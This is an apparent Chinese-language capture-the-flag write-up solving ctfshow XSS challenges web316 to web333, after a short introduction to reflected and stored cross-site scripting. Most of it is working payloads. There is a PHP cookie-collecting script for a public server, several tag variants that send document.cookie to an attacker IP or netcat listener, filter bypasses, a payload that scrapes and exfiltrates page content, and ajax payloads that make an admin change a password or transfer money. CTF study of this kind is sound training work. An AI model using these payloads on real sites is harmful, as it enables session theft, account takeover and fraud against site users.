XSS介绍
网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容 攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
就是把我们可以修改的地方改成具有html标签的语句,这样就可以将它镶嵌在网页中执行命令 如果是admin看到的话还可以抓到cookie之类的
XSS
反射性 web316
反射型xss又称非持久型xss,是目前最普遍的类型,这种攻击方式往往具有一次性。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以称反射型XSS。
生成链接后,服务器会自动点入链接,以此实现XSS
方案一 获取管理员cookie
读取flag需要管理员cookie,我们可以通过xss获取
在能被公网访问的服务器上创建此XSS.php
大B的脚本
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('flag.txt',$content);
}else{
echo 'no date input';
}
payload:
<script>document.location.href='http://域名或IP/XSS.php?1='+document.cookie</script>
document.cookie
可以获取cookie
XSS.php会在目录下将获得的信息生成并存入flag.txt
获得flag
方案二 netcat
任选一个进行payload,在监听端做好对端口的监听
若网页对某个标签进行过滤,可以选择不同的payload
<script>document.location.href='http://xxx:port/'+document.cookie</script>
<body onload="window.open('http://xxx:port/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:port/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:port/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:port/'+document.cookie)"></iframe>
第一次没有出flag是因为是我们自己点的链接 第二次是服务器,带出flag
web317
尝试发现过滤了script
尝试其它标签
img标签
<img src="" onerror=location.href="http://ip/x.php?cookie="+document.cookie>
也可以尝试其它nc命令
web318
被过滤img标签,nc或body接着用
<body onload=document.location.href='http://IP/XSS.php?1='+document.cookie>
web319
过滤了空格。将空格换为/
绕过
<body/onload=document.location.href='http://IP/XSS.php?1='+document.cookie>
之后都差不多
持久性 web327
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是触发了XSS攻击
这里信的内容就是我们要payload的位置,使用上一题的payload便可
web328
管理员会看见所有用户名信息,那么在用户名处存在XSS 用payload当用户名注册,便可获得管理员cookie
payload这里选择<script></script>
在burp中修改cookie并一条条请求放着过,得到
web329
与上一题相同的题面 但在尝试后发现cookie会不断变化 问题不大,我们可以通过在服务器的xss脚本直接进行所需内容的提取
payload:
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://IP/XSS.php?1='+value.innerHTML;}});</script>
<!--查找“ctfshow{”字符串-->
web330
多了个修改密码 尝试修改管理员密码 那么就需要从本地访问 构造payload:
<script>location.href="http://127.0.0.1/api/change.php?p=12345678"</script>
web331
这次是POST请求,用ajax请求
payload:
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'111'}});</script>
web332 & web333
题面改变
有转账功能!可以让admin给我转账 首先创建一个新号or
之后在注册界面payload:
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'or',a:10000}});</script>
<!--给or账户10000元-->
关于ajax https://blog.csdn.net/weixin_50602266/article/details/121910781